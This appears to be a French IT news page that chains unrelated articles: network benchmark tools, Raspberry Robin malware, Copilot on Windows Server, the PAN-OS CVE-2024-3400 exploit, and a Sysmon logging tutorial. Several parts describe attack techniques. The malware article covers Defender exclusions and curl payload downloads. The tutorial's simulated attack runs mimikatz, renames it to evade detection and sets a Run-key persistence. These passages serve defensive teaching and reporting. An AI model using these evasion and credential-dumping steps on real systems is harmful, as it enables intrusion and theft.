NetIO-GUI est une application graphique open source pour Windows qui permet de mesurer les performances du réseau en effectuant des tests de débit. Cette application est basée sur l’outil en ligne de commande NetIO, mais elle offre une interface utilisateur conviviale et intuitive, ce qui la rend plus facile à utiliser pour les utilisateurs qui ne sont pas familiers avec les lignes de commande.
Avec NetIO-GUI, vous pouvez tester la vitesse de transfert de données entre deux ordinateurs ou périphériques sur un réseau local ou distant. Vous pouvez spécifier la taille des paquets de données à envoyer, le nombre de connexions à utiliser et d’autres paramètres de test. Une fois le test terminé, NetIO-GUI affiche les résultats, y compris le débit de transfert moyen, le débit maximum, le débit minimum et d’autres mesures pertinentes.
Voici quelques caractéristiques de NetIO-GUI :
Benchmark en TCP ou UDP
Test de performances de débits et de latence avec des tailles de paquets différents
Disponible en version portable et en version d’installation
Exportation des résultats au format CSV ou feuille Excel
Mesure des vitesses de réseau entre deux pairs
Idéal pour diagnostiquer, dépanner et tester les ports réseau de votre PC
LanBench est une autre application très simple pour mesurer la vitesse de votre réseau LAN. Il repose sur l’architecture client-serveur. Une fois le serveur démarré, configurez le client pour se connecter dessus. Ensuite l’utilitaire mesure le débit entrant et sortant. Puis vous obtenez la mesure moyenne. Il s’agit ici qu’une mesure de débit, il ne fournit pas de mesure de latence.
Si vous cherchez un programme de benchmark très simple, LANBench peut répondre à vos besoins.
Voici un autre utilitaire de benchmark LAN qui fonctionne en client-serveur. Installez le logiciel sur les deux ordinateurs et activez le client et le serveur depuis le menu Avancé > Réseautage. Configurez l’adresse IP du serveur puis choisissez entre un benchmark TCP ou UDP. Le protocole TCP est utilisé lorsque l’intégrité des données est importante (les erreurs sont corrigées par la retransmission des données). Le protocole UDP est utilisé pour les applications qui tolèrent la perte de données, comme la diffusion vidéo en continu. Il est aussi possible de choisir entre IPv4 et IPv6. Définissez la taille du bloc de données utilisé pour chaque demande d’envoi. Il est également possible de sélectionner des blocs de taille variable afin de mesurer les écarts de performance lorsque la taille du bloc augmente ou diminue. Enfin configurez la durée du test, protocole (TCP ou UDP), nombre de threads de test, options de socket Windows RIO (Registered Input/Output API Extensions).
Une fois le test de performance réseau effectué, vous obtenez un graphique avec la vitesse de transfert. On peut regretter que l’utilitaire ne fournit par un tableau détaillé du résultat avec les vitesses minimale et maximale. En outre, il ne permet pas de tester pas la latence du LAN et le test réseau n’est que dans un sens. Pour résumer, si vous cherchez un utilitaire de test de performances du LAN sommaire, PassMark Advanced Network Test peut répondre à vos besoins.
iperf est un outil de mesure active de la largeur de bande maximale réalisable sur les réseaux IP. Pour chaque test, il indique la largeur de bande, la perte et d’autres paramètres. Il fonctionne en mode client-serveur et supporte Windows, Linux ou MacOS.
La version actuelle, parfois appelée iperf3, est une refonte d’une version originale développée au NLANR/DAST. iperf3 est une nouvelle implémentation à partir de zéro, avec pour objectif une base de code plus petite et plus simple, et une version de bibliothèque de la fonctionnalité qui peut être utilisée dans d’autres programmes. iperf3 a également un certain nombre de caractéristiques trouvées dans d’autres outils tels que nuttcp et netperf, mais qui étaient absentes de l’iperf original. Il s’agit, par exemple, d’un mode zéro-copie et d’une sortie JSON optionnelle.
Iperf est un outil puissant et polyvalent pour évaluer les performances des réseaux informatiques plutôt destinés aux utilisateurs confirmés.
Le malware Raspberry Robin est en circulation depuis plusieurs années et il continue de se propager pour infecter les appareils Windows. Désormais, il est capable de contourner Microsoft Defender et d'être très furtif sur la machine infectée. Faisons le point !
À la base, le logiciel malveillant Raspberry Robin se propage principalement par l'intermédiaire de clés USB, comme nous l'avions évoqué dans un précédent article publié en juillet 2022. Mais, depuis mars 2024, les pirates semblent bien décidés à le distribuer plus largement, alors qu'initialement, il ciblait plutôt les industries et les grandes entreprises.
Campagnes de phishing et fausses publicités
Un nouveau rapport publié par l'équipe de chercheurs en sécurité HP Wolf Security met en avant les nouvelles capacités et techniques employées par Raspberry Robin. Désormais, la clé USB est remplacée par de fausses publicités et des campagnes de phishing par e-mails. L'objectif étant de rediriger les utilisateurs vers des sites malveillants contrôlés par les pirates sur lesquels sont hébergés des fichiers WSF (Windows Script Files) obscurci.
"Le format de fichier WSF prend en charge les langages de script, tels que JScript et VBScript, qui sont interprétés par le composant Windows Script Host intégré au système d'exploitation Windows.", peut-on lire. De plus, les chercheurs en sécurité précisent que le code des scripts WSF distribués par les pirates est long et difficile à analyser. En effet, il y a beaucoup de lignes de code inutiles, uniquement là pour brouiller les pistes.
Une analyse minutieuse de la machine infectée
La dernière version de Raspberry Robin se démarque également par sa capacité à contourner les solutions de sécurité et à passer entre les mailles du filet. Avant de passer à l'action, le malware effectue une analyse complète de la machine pour déterminer l'environnement sur lequel il se trouve, avant de passer à la phase d'infection.
Parmi les éléments vérifiés, il y a la version de Windows, le type d'appareils (machine virtuelle, serveur, poste de travail), le type de processeur, la détection de la solution de virtualisation via l'adresse MAC, et enfin, il vérifie la présence éventuelle de certains antivirus (Kaspersky, ESET, Avast, Avira, Check Point et Bitdefender). Si l'un de ces antivirus est identifié, le script s'arrête. L'objectif principal de cette série de vérifications est de s'assurer que le malware est exécuté sur l'appareil d'un utilisateur final.
Par contre, les chercheurs en sécurité précisent que Raspberry Robin est capable de contourner Microsoft Defender : "Il est donc plus probable que le script s'exécute sur un terminal protégé par Microsoft Defender. Pour échapper à la détection, le script ajoute une exception à Microsoft Defender qui exclut l'ensemble du disque principal de l'analyse antivirus."
La phase finale : le déploiement de Raspberry Robin
Si tous les voyants sont au vert et qu'il s'agit de l'appareil d'un utilisateur final, le script va télécharger la DLL Raspberry Robin depuis un serveur situé sur Internet. Pour cela, il va s'appuyer sur la commande "curl" prise en charge nativement sur Windows, et il va stocker la DLL malveillante dans le dossier "AppData" local. Ainsi, Raspberry Robin est déployé sur la machine et il peut agir sans déclencher d'alerte sur Microsoft Defender.
Raspberry Robin est capable de télécharger et d'exécuter des charges utiles supplémentaires. Les cybercriminels ont l'habitude de l'utiliser pour déployer un ransomware ou d'autres malwares comme IcedID, BumbleBee et Truebot.
Par erreur, Microsoft a déployé la nouvelle application Copilot, correspondante à son IA, sur Windows Server ! Ceci est lié à une mise à jour du navigateur Microsoft Edge. Voici ce qu'il faut savoir !
Si vous utilisez Windows Server 2022 et que vous avez constaté la présence d'une nouvelle application nommée "Microsoft Copilot" dans la liste des programmes installés, sachez que vous n'êtes pas seul. Au-delà de son nom, elle est facilement identifiable grâce à son logo désormais utilisé un peu partout par Microsoft. De plus, sa taille est surprenante : seulement 8 Ko.
Que se passe-t-il ? Tout a commencé par l'introduction de "Copilot" dans les versions "Preview" de Windows Server 2025. En effet, depuis plusieurs mois, nous avons accès à des versions de Windows Server 2025 qui donnent un aperçu des nouveautés à venir et des changements opérés par Microsoft.
S'il y a bien un changement qui n'a pas plus, c'est l'ajout de l'IA "Microsoft Copilot" à Windows Server 2025. Suite aux nombreuses réactions négatives, Microsoft a pris la décision de retirer Copilot de Windows Server 2025. Mais, alors, comment cette application est-elle arrivée sur Windows Server 2022 ?
Microsoft Copilot ajouté par une mise à jour du navigateur Edge
Sur la page de son site destinée à évoquer "les problèmes connus", Microsoft s'est expliqué : "Les mises à jour de la version 123.0.2420.65 du navigateur Edge, publiées à partir du 28 mars 2024, peuvent installer de manière incorrecte un nouveau package (MSIX) appelé "Microsoft chat provider for Copilot in Windows" sur les appareils Windows. En conséquence, l'application Microsoft Copilot peut apparaître dans les applications installées dans le menu Paramètres." - Ceci affecte Windows Server, ainsi que Windows 10 et Windows 11.
Autrement dit, ceci ne correspond pas à l'ajout complet de Microsoft Copilot à Windows Server 2022, et cela ne permet pas d'utiliser l'IA directement depuis la barre des tâches du serveur. "Il est important de noter que le fournisseur de chat Microsoft pour Copilot dans Windows n'exécute aucun code ou processus, et n'acquiert, n'analyse ou ne transmet aucune donnée relative à l'appareil ou à l'environnement à quelque titre que ce soit.", précise Microsoft, afin de rassurer ses clients.
Cette application vise à préparer l'activation future de Microsoft Copilot sur certains appareils Windows, dont les serveurs Windows Server ne devraient pas faire partie. Désormais, l'entreprise américaine cherche une solution pour supprimer cette application : "Nous travaillons sur une solution et fournirons une mise à jour dans une prochaine version de Microsoft Edge."
Depuis quelques jours, la faille de sécurité critique découverte dans le système PAN-OS utilisé par les firewalls de Palo Alto Networks fait beaucoup parler d'elle. Désormais, un code d'exploitation est disponible et pourrait être utilisé pour compromettre les firewalls exposés sur Internet. Faisons le point.
Rappel sur la vulnérabilité CVE-2024-3400
Voici un résumé de la situation actuelle, avec quelques dates et points clés :
Depuis le 26 mars 2024, une nouvelle faille de sécurité zero-day est exploitée par les cybercriminels dans le cadre d'attaque. Elle a été utilisée pour déployer une porte dérobée nommée Upstyle et pivoter vers l'infrastructure interne de l'entreprise. Lors d'une attaque, les pirates sont parvenus à voler des données sensibles telles que la base de données Active Directory.
Vendredi 12 avril 2024, Palo Alto Networks a publié un bulletin de sécurité pour évoquer cette vulnérabilité (CVE-2024-3400) et les risques associés.
Dimanche 14 avril 2024, l'éditeur a publié de premiers correctifs de sécurité à destination de ses firewalls sous PAN-OS : PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1 et PAN-OS 11.1.2-h3. Depuis, de nouveaux correctifs ont été publiés, car Palo Alto Networks va publier des patchs pour une dizaine de versions différentes de PAN-OS.
Voici nos précédents articles pour approfondir le sujet :
Un code d'exploit et des dizaines de milliers de firewalls vulnérables
Le mardi 16 avril 2024, watchTowr Labs a publié un rapport au sujet de cette vulnérabilité, ainsi qu'un PoC d'exploitation permettant d'exécuter des commandes à distance sur un firewall vulnérable. Dans le même temps, Justin Elze, directeur technique de TrustedSec, a également évoqué sur X (Twitter) un exploit utilisé par les cybercriminels pour exporter la configuration du pare-feu Palo Alto pris pour cible.
D'après une carte partagée par The Shadowserver Foundation, il y a environ 156 000 firewalls Palo Alto exposé sur Internet et potentiellement vulnérables. Ce chiffre est à prendre avec des pincettes, car il ne tient pas compte de la version de PAN-OS, ni de la configuration.
Vendredi dernier, le chercheur en sécurité Yutaka Sejiyama, a partagé sur X (Twitter) des statistiques au sujet des firewalls vulnérables à cette faille de sécurité. Il en a identifié un peu plus de 82 000 firewalls. Ce chiffre a certainement diminué désormais, mais le nombre de cibles potentielles doit rester élevé.
Voici quelques chiffres clés (nombre de firewalls vulnérables par pays) :
États-Unis : 32 916
Allemagne : 3 268
Royaume-Uni : 3 213
Canada : 2 239
France : 1 794 (sur un total de 3 162, si l'on s'appuie sur la carte de The Shadowserver Foundation)
Belgique : 772
Suisse : 561
Le correctif de sécurité comme seule et unique solution pour se protéger
La seule solution pour vous protéger, c'est d'installer le correctif de sécurité sur votre firewall. La mesure d'atténuation partagée initialement par Palo Alto consistait à désactiver la télémétrie, mais elle n'est pas efficace et ne permet pas de se protéger.
Voici ce que l'on peut lire dans le bulletin de sécurité de Palo Alto : "La désactivation de la télémétrie sur l'équipement n'est plus une mesure d'atténuation efficace. Il n'est pas nécessaire que la télémétrie soit activée pour que les pare-feux PAN-OS soient exposés aux attaques liées à cette vulnérabilité."
Malgré tout, si vous avez un abonnement à la fonction "Threat Prevention", vous pouvez bloquer cette attaque en activant la protection contre la menace avec l'ID 95187. De plus, assurez-vous que cette protection soit activée sur l'interface GlobalProtect, en suivant cette page de la documentation. Cette méthode est toujours efficace.
Microsoft 365 has deprecated the search-mailbox cmdlet, a decision that has faced considerable resistance from numerous Exchange Online administrators. In this post, I aim to examine the consequences of this cmdlet's removal and discuss viable alternatives and potential solutions.
Dans cet article, nous allons nous intéresser à Sysmon, un outil qui permet une meilleure journalisation des évènements de sécurité système sous Windows. Il s'agit d'un élément indispensable pour une surveillance efficace des évènements de sécurité.
Nous allons notamment voir que les évènements Windows par défaut ne permettent pas d'avoir une détection très précise des activités systèmes et des attaques telles qu'elles sont opérées aujourd'hui, et comment Sysmon permet d'améliorer cette détection.
Nous verrons également comment l'installer et le configurer à l'aide de modèles de configuration proposés par la communauté, et analyserons ensuite concrètement les journaux produits par Sysmon.
II. Sysmon : qu'est ce que c'est ?
Sysmon (pour System monitor) est à la fois un service et un driver fournit dans le package SysInternals de Microsoft. Il vise à améliorer la journalisation des évènements Windows avec un focus sur la journalisation des évènements de sécurité système. Il s'agit plus d'un outil de détection que de prévention, dans le sens où il permet une meilleure journalisation des évènements, mais ne permet pas à lui seul de bloquer des activités malveillantes.
Depuis Sysmon 14, Microsoft a revu sa stratégie concernant Sysmon. Celui-ci peut maintenant bloquer des exécutables malveillants ("FileBlockExecutable") ainsi que la suppression de fichiers via certains outils ("FileBlockShredding"). Cette protection n'est cependant pas parfaite et ne remplace par une solution dédiée (EPP/EDR).
Pour être plus clair, voici une partie de la liste des évènements que Sysmon peut surveiller et journaliser :
Création de processus
Modification de l'heure de création d'un fichier
Connexion réseau
Modification de l'état du service Sysmon
Fin d'un processus
Chargement de pilote
Chargement d'image (injection de DLL)
Evènement CreateRemoteThread (création d'un thread par un processus)
Evènement RawAccessRead
Requête DNS
ProcessTampering
etc.
Tous ces évènements peuvent paraitre très (trop) précis pour être intéressants. Mais, tous correspondent à des attaques et modes opératoires bien identifiés et connus des attaquants. Sysmon permet alors de retracer bien plus précisément que les logs par défaut une activité malveillante sur un système.
En plus de journaliser ces évènements clés pour surveiller l'activité d'un système, il inclut plusieurs éléments importants du point de vue des équipes de sécurité et relatifs au contexte de l'évènement :
les condensats (ou hash) des images des processus lancés
les GUID des processus (facilite la corrélation des évènements)
des informations précises sur les connexions réseau (processus source, adresse IP, numéro de port, etc.)
Integrity Level du processus
des informations relatives aux métadonnées des processus (signature, auteur, description)
etc.
Ces différents éléments facilitent également l'investigation numérique ainsi que la recherche et corrélation d'évènements, par exemple, grâce aux IOC (Indicators of compromise) publiés par la communauté ou une équipe interne de Threat Intelligence (adresse IP, nom DNS, hash d'un binaire, etc). Rien de mieux qu'un exemple pour illustrer cela. Comparons la journalisation de l'évènement "Création d'un processus" entre les logs par défaut Windows et les journaux créés par Sysmon (cliquez sur l'image pour zoomer) :
Comparaison entre l'évènement par défaut de Windows et celui de Sysmon concernant la création d'un nouveau processus :
L'eventID 1 (à droite de l'image) créé par Sysmon est beaucoup plus verbeux en contenu technique. Il fournit plus d'informations de contexte autour de l'exécution du processus. Ces informations vont notamment grandement faciliter la recherche et la détection d'activité malveillante qui ont lieu sur le système.
Il faut savoir que l'intérêt de Sysmon est aussi la journalisation d'évènements qui ne sont pas du tout journalisés par Windows (au contraire de la création d'un processus, qui est le cas le plus simple pour exposer les capacités de Sysmon). Nous verrons ensuite que, grâce à la configuration que nous allons utiliser, les TTP (Tactics, Techniques and Procedures) relatifs à tel ou tel évènement journalisé sont aussi indiqués. Nous comprenons donc bien ici que l'intérêt de Sysmon est d'avoir des logs plus précis, orientés autour d'évènements de sécurité très importants sur un système d'exploitation et facilitant la détection et l'investigation numérique.
Enfin, comme tout élément capable de générer des journaux d'évènement, la puissance Sysmon est décuplée si ces évènements sont centralisés et analysés par une plateforme de type SIEM (ELK, Splunk, etc.) et traités par un SOC (Security Operation Center).
Le code source de Sysmon est public et peut être consulté librement. Ainsi, vous pouvez découvrir précisément comment il fonctionne : Github - Sysinternals/SysmonCommon
III. Logs Windows : quelques trous dans la raquette
Les journaux d'évènements Windows peuvent paraitre complexes au premier abord. D'apparence, ils sont assez verbeux et consultables à travers un outil de visualisation/recherche peu efficace ("Observateur d'évènements"). Il est difficile de trouver exactement ce que l'on cherche si l'on n'y est pas familier.
Également, la politique d'audit par défaut de Windows passe sous silence des évènements importants de l'activité sur le système. Pour illustrer ce constat, intéressons-nous aux journaux produits durant trois étapes d'attaque d'un système. Pour faciliter cette analyse, j'ai créé un filtre de journalisation dans l'Observateur d'évènements qui centralise tous les Event ID, peu importe leur source :
Création d'un filtre permettant de voir tous les évènements Windows.
Admettons qu'en tant qu'attaquant, j'exécute le binaire "mimikatz64.exe" :
.\mimikatz64.exe
Par défaut, cette activité n'est pas journalisée comme nous le montre "auditpol.exe" :
Visualisation de l'état de la stratégie d'audit par défaut Windows concernant la "création du processus".
Evènement 4688 concernant la création d'un processus mimikatz64.exe
La moindre des choses que l'on puisse dire est que cet évènement est peu verbeux. Les seuls éléments concrets dont nous disposons sont : le nom de compte ayant exécuté la commande, le nom du processus créateur et le nom du processus. Par exemple, le simple fait de renommer "mimikatz64.exe" en "itconnect.exe" suffit à contourner l'un des principaux éléments sur lequel une détection serait possible (le nom du processus) :
Evènement 4688 concernant l'exécution d'un mimikatz renommé.
Dans un second temps, je décide d'ajouter un moyen de persistance en modifiant le contenu de la clé de registre "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run". Cette clé de registre est utilisée pour lancer des binaires au démarrage (voir Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder). Il s'agit d'un moyen de persistance très connu et souvent utilisé par les attaquants, qui leur permet d'avoir une connexion vers leur serveur C2 (Command & Control) dès le démarrage du système compromis :
J'utilise ensuite la CmdLet PowerShell "Get-EventLog" pour récupérer les évènements 4657 – A Registry Value Was Modified relatifs à la modification d'une clé de registre :
À nouveau, aucun évènement n'est journalisé par défaut sous Windows lors de la modification des clés de registre. Enfin, je vais initialiser une connexion réseau vers un serveur malveillant afin de récupérer un ransomware :
Absence de journaux de sécurité relatifs au téléchargement d'un exécutable.
À nouveau, aucun évènement journalisé.
Comment nous le voyons à travers cet exemple, les journaux d'évènements produits par Windows par défaut ne sont pas suffisants pour tracer exactement le déroulement de mon attaque et de mon activité sur le système. Par défaut, ils ne sont pas tous activés et lorsqu'ils le sont, leur contenu n'est pas assez détaillé pour une investigation numérique efficace.
Autrement dit, si vous subissez une cyberattaque et que, par chance, vos journaux d'évènements sont préservés (externalisation, centralisation, voire sauvegarde), ceux-ci ne seront pas suffisants pour que l'équipe d'investigation numérique ou de remédiation puisse vous dire précisément ce qu'il s'est passé, par où est passé l'attaquant, quelles ont été ses actions, etc.
IV. Déploiement de Sysmon
A. Installer Sysmon de façon classique
Nous allons à présent voir comment installer Sysmon sur un système Windows (serveur ou client, la procédure est la même). Pour acquérir la dernière version de Sysmon, il faut le télécharger depuis le site de Microsoft : SysInternals - Sysmon.
Attention à bien télécharger le binaire depuis le site de Microsoft, et nulle part ailleurs.
Une fois que ce binaire est téléchargé, décompressé et présent sur notre système cible, nous allons ouvrir une Invite de commande en tant qu'administrateur, puis exécuter le binaire avec l'option "-i" :
.\Sysmon64.exe -i -accepteula
Voici la sortie attendue :
Installation de Sysmon sur un système WIndows.
L'installation de Sysmon64 entraine notamment la création d'un service "Sysmon64" et l'installation d'un driver "SysmonDrv", dont le rôle est de capturer les évènements de sécurité côté kernel. Le driver échange notamment avec les API Windows et exploite l'Event Tracing for Windows (ETW) pour capturer les informations sur les actions qu'il souhaite surveiller.
Il est important de noter que l'installation de Sysmon est permanente, son service et son driver seront toujours présents et actifs après un redémarrage. Il peut toutefois être désinstallé simplement.
Le driver permet notamment à Sysmon d'utiliser des callbacks, aussi appellés hooks (crochet), sur des fonctions clés du système d'exploitation. Lorsqu'une fonction surveillée est invoquée, le callback associé au driver Sysmon est déclenché. À ce moment-là, Sysmon peut collecter des informations pertinentes sur l'événement en cours, telles que les détails du processus impliqué, les arguments de la fonction, les fichiers accédés, etc. Ces informations sont ensuite journalisées. On retrouve cette mécanique sur la plupart des services type EPP/EDR aujourd'hui.
Aucun redémarrage n'est nécessaire, en vous rendant dans le "Gestionnaire de tâches" puis dans "Services", vous devriez voir le service "Sysmon64" en cours d'exécution :
Présence du service "Sysmon64" dans la liste des services du Gestionnaire des tâches.
Vous noterez également qu'il est impossible d'arrêter ce service en tant qu'administrateur :
Tentative d'arrêt du service "Sysmon64" en tant qu'administrateur via le Gestionnaire des tâches.
Cela est dû à une protection mise en place par Windows sur ce service : le Protected ProcessLight. Cette protection est notamment chargée de vérifier l'intégrité du code pour s'assurer que seul le code "vérifié" et "de confiance" est chargé dans le processus protégé. Ainsi, il ne peut être pris pour cible d'une injection de code ou de DLL et personne ne peut toucher à ce processus :
Vue de la protection PPL du processus "Sysmon64.exe" via "ProcessHacker".
Grâce à cette protection, il sera plus difficile pour l'attaquant d'altérer le fonctionnement de ce processus en vue de mettre fin à la journalisation de ses actions.
Sysmon s'installe par défaut avec une configuration qui permet de journaliser certains évènements. Cette configuration par défaut peut être consultée via l'option "-s" :
.\Sysmon64.exe -s
Voici le résultat attendu :
Visualisation de la configuration par défaut de "Sysmon".
Comme vous pouvez le voir, il s'agit d'une configuration au format XML. Celle-ci permet de définir les évènements à journaliser, leur Event ID et leur contenu. Exemple avec la journalisation de la création d'un processus :
Configuration par défaut pour l'évènement "1 - Create process" de Sysmon.
Ici, nous voyons dans un premier temps la définition de l'event ID avec son nom et son ID ("1"). Les sections précédentes de cet article contiennent déjà un exemple d'évènement créé via cette règle, vous pourrez donc voir les champs déclarés par la configuration dans cet évènement. Par défaut, la journalisation de cet évènement est activée ("ruledefaut=include"). Ce qui n'est pas le cas de tous les évènements, exemple avec l'évènement "11 - Process Create" :
Configuration par défaut pour l'évènement "11 - File create" de Sysmon.
Ainsi, avec la configuration par défaut, vous ne constaterez aucun évènement avec l'ID 11 dans vos logs. Nous voyons ici qu'il faut savoir lire et comprendre cette configuration, au risque de ne pas être assez précis dans notre journalisation.
Pour visualiser les logs, ouvrez l'Observateur d'évènements, puis rendez-vous dans "Journaux des applications et des services" > "Microsoft" > "Windows" > "Sysmon".
Accès aux journaux Sysmon dans l'observateur d'évènement Windows.
En fonction de la configuration en place (pour l'instant, celle par défaut), vous verrez dès à présent différents évènements journalisés.
B. Installation discrète de Sysmon
Les attaquants les plus avancés vont toujours commencer par regarder quels sont les composants de sécurité en place sur un système avant de tenter d'aller plus loin dans leur compromission. Il s'agit d'une phase de prise d'information très classique, par exemple :
Est-ce qu'un EPP (Endpoint Protection) est en place ? Ils peuvent pour cela regarder la liste des processus en cours d'exécution à la recherche de nom d'agents EPP connus (Trellix, Symantec, Sophos, etc.)
Est-ce que Microsoft Defender est actif ? Si oui, quelle est sa configuration ? Contient-elle des exclusions intéressantes ? Sa base antivirale est-elle à jour ?
Les journaux d'évènements sont-ils envoyés sur un autre système ? Ce qui serait le signal qu'un SIEM, voire un SOC peut enregistrer et voir son activité malveillante. L'attaquant peut pour cela regarder les processus et services actifs à la recherche d'agent de transmission de log connus, ou encore les connexions établies visant des ports connus, etc.
Est-ce que Sysmon est installé ? Quelle est sa configuration ? Contient-elle des exclusions intéressantes ?
La réponse à ces questions permet à l'attaquant d'avoir une idée du niveau de discrétion dont il doit faire preuve pour ses prochaines opérations sur le système ou le réseau.
Cependant, Sysmon donne la possibilité aux administrateurs de dissimuler sa présence, notamment en modifiant le nom du driver et du service lorsqu'il s'exécute. Par défaut, comme nous l'avons vu, nous pouvons voir un service "Sysmon64" actif dans la liste des services en cours d'exécution :
VIsualisation du service "Sysmon64" dans le gestionnaire des tâches.
Lors de la phase d'installation, Sysmon propose l'option "-d" pour permettre de donner un nom arbitraire au driver Sysmon (limité à 8 caractères). Quant au nom du service, il est déterminé par le nom du binaire exécuté lors de l'installation. Il nous suffit donc de le modifier avant installation :
Renommage puis installé de "Sysmon" avec un nom de driver personnalisé.
Une fois cette opération effectuée, il sera plus difficile pour l'attaquant de détecter la présence de Sysmon sur le système :
Présence du service "Sysmon" renommé dans le Gestionnaire des tâches.
Sur l'image ci-dessus, le processus Sysmon apparait bien comme "ITCProc". Dès lors, pour gérer le service Sysmon et par exemple, récupérer sa configuration actuelle, il faudra utiliser le binaire nommé "ITCProc.exe", l'utilisation de "Sysmon64.exe" ne fonctionnera plus.
Attention, cette méthode est une dissimulation et il existe d'autres moyens de détecter la présence du driver Sysmon (notamment via son altitude identifier).
V. Configuration de Sysmon
A. Récupération et étude d'une configuration XML Sysmon
À présent, nous allons configurer Sysmon pour qu'il journalise les évènements qui nous intéressent. La configuration par défaut est un bon départ, mais vous allez voir qu'il est possible d'aller beaucoup plus loin assez simplement.
Nous allons notamment nous baser sur des configurations connues et éprouvées créées par la communauté de la cybersécurité. La configuration la plus connue est celle proposée par SwiftOnSecurity, consultable et téléchargeable ici : Github - SwiftOnSecurity :
Extrait de la configuration Sysmon proposée par "SwitfOnSecurity".
Cette configuration comporte plusieurs intérêts :
Elle est éprouvée par la communauté et sa pertinence est reconnue. Vous pouvez notamment jeter un œil à son historique de modification Github.
Elle est documentée, même si la lecture de son contenu peut être difficile à cause du format XML, elle contient différents commentaires permettant de comprendre ses principales sections, exclusions
Elle est bien structurée, ce qui permet une compréhension et une modification aisée. Elle peut ainsi servir de base à une configuration propre à vos besoins et environnements
Elle contient des cas d'exclusions permettant d'éliminer les faux positifs "classiques" sur les OS Windows, facilitant ainsi l'exploitation des journaux créés par Sysmon.
Elle apporte des éléments de contexte supplémentaires sur chaque Event ID tels que les TTP du MITRE relatif à une action malveillante journalisée.
Bref, utiliser cette configuration apporte une réelle plus-value par rapport à celle par défaut et un gain de temps qui évite d'avoir à concevoir sa propre configuration XML, avec les difficultés que le format et la complexité des uses-case apportent. Avant de l'appliquer, je vous recommande tout de même de finir la lecture de cet article, puis de lire en détail le contenu de la configuration XML, afin que vous sachiez exactement ce qui sera journalisé et ce qui sera exclu de la journalisation.
B. Application d'une nouvelle configuration Sysmon
Il nous suffit donc de télécharger cette configuration XML puis de l'appliquer à Sysmon, nous pouvons utiliser l'option "-c" :
.\Sysmon64.exe -c .\sysmonconfig-export.xml
Voici la sortie attendue :
Ajout d'une nouvelle configuration à "Sysmon".
Pour vérifier que notre configuration est en place, nous pouvons utiliser l'option "-c" de "Sysmon" :
Affichage de la configuration SwiftOnSecurity importée dans Sysmon.
Les éléments de configuration affichés sont à présent très différents et bien plus verbeux que la configuration par défaut de Sysmon.
Nous pouvons à tout moment revenir à la configuration par défaut avec l'option "-c --".
C. Suppression du fichier de configuration
Maintenant que nous avons appliqué notre configuration à Sysmon, il est très important de ne pas laisser le fichier de configuration persister sur le système sous la forme d'un fichier XML. Si l'attaquant accède à ce fichier, il aura la possibilité de comprendre en détail les règles de détection en place, incluant ses potentielles exclusions et exceptions. Ainsi, il pourra construire une attaque qui exploite ou contourne les règles configurées.
En cela, il est mieux de laisser l'attaquant dans le noir et de supprimer cette configuration du système. Attention à ne pas non plus la laisser accessible sur un partage réseau trop ouvert auquel l'attaquant pourrait avoir accès.
Même si le fichier de configuration initial a été supprimé, Sysmon aura toujours cette configuration à disposition. Lors de l'import d'une configuration avec l'option "-c", Sysmon transforme cette configuration XML en blob de données et le stocke dans une clé de registre :
Stockage de la configuration actuelle de Sysmon dans une clé de registre.
Ce blob de donnée n'est pas facile à parser et l'attaquant aura du mal à récupérer en clair les règles et exclusions de la configuration à partir de celui-ci.
VI. Exemple de journaux Sysmon
Comme nous l'avons vu, les journaux d'évènements Sysmon sont stockés dans "Journaux des applications et des services" > "Microsoft" > "Windows" > "Sysmon". Si je réitère mon activité malveillante initiale (celle qui n'avait pas été ou peu journalisée par les logs par défaut de Windows) : voici ce que je peux voir dans les logs Sysmon (cliquez sur l'image pour zoomer) :
Journaux d'évènement Sysmon relatifs aux actions malveillantes effectuées sur le système.
Nous voyons clairement dans les logs : un event ID 1 - Process Create, un event ID 13 - Registry value set et and event ID 3 : Network Connecion detected. Ce qui correspond et retrace exactement les activités malveillantes réalisées sur le système. Dans la capture ci-dessus, nous avons les détails de l'exécution de "mimikatz64.exe", déjà exposé précédemment dans cet article. On peut noter la présence de nombreuses informations, dont le hash MD5 du binaire, qui ne changera pas en fonction du nom qui lui est donné (bien que des méthodes simples permettent de modifier ce hash pour qu'il ne colle plus aux signatures classiques).
Nous pouvons également regarder le contenu de l'évènement relatif à l'ajout d'une valeur dans une clé de registre :
Evènement Sysmon 13, relatif au paramétrage d'une valeur dans une clé de registre (mise en place d'une backdoor par l'attaquant).
À nouveau, nous avons un grand nombre d'informations à propos de l'évènement, le processus parent, le nom de la clé de registre modifiée, sa valeur, on y retrouve clairement l'exécutable malveillant, etc. Vous remarquerez également la présence du "T1060" dans l'attribut "RuleName", il s'agit de l'identifiant du TTP relatif à cette action malveillante. Cet ajout provient de la configuration SwitfOnSecurity et vise à aider l'analyste à comprendre la nature et l'impact d'un évènement de sécurité.
Pour mieux comprendre l'intérêt et les bénéfices de cette information, regardons par exemple le contenu du TTP T1060 sur le site du framework MITRE ATT&CK (le framework ayant été mis à jour récemment, l'action au TTP 1060 rédige vers son nouvel identifiant : T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder ):
Extrait des détails du TTP1547.001 (anciennement T1060).
Il ne s'agit là que d'un extrait, mais l'on comprend ici bien plus en détail les enjeux de cet évènement : l'attaquant a cherché à établir une persistance sur le système en modifiant une clé de registre contenant des binaires exécutés au démarrage.
Enfin, voici l'évènement relatif au téléchargement d'un binaire malveillant depuis un serveur appartenant à l'attaquant, action qui n'était pas du tout journalisée par les logs par défaut de Windows :
Evènement Sysmon 3 relatif à une connexion réseau sortante.
Là aussi, nous obtenons des informations claires et précises sur l'évènement, notamment l'IP, nom et port de destination, qui sont des informations importantes en termes de détection (grâce aux IOC) et d'investigation.
Pour mieux comprendre chaque évènement produit par Sysmon, nous pouvons utiliser la documentation Microsoft, qui référence précisément les eventID et leur définition : Sysmon - Events
VII. Conclusion
J'espère que cet article vous a aidé à mieux comprendre ce qu'est Sysmon, son utilisation standard ainsi que sa plus-value pour la sécurité d'un système Windows et plus globalement du système d'information. Nous n'avons pas fait un tour complet de l'outil, notamment en ce qui concerne les évènements plus techniques (CreateRemoteThread, RawAccessRead, Process Tampering, etc.), ni la construction complète d'un fichier de configuration avec ses exclusions, exceptions, etc. Mais, le contenu de l'article devrait être suffisant pour mettre en place et utiliser Sysmon au sein de votre système d'information.
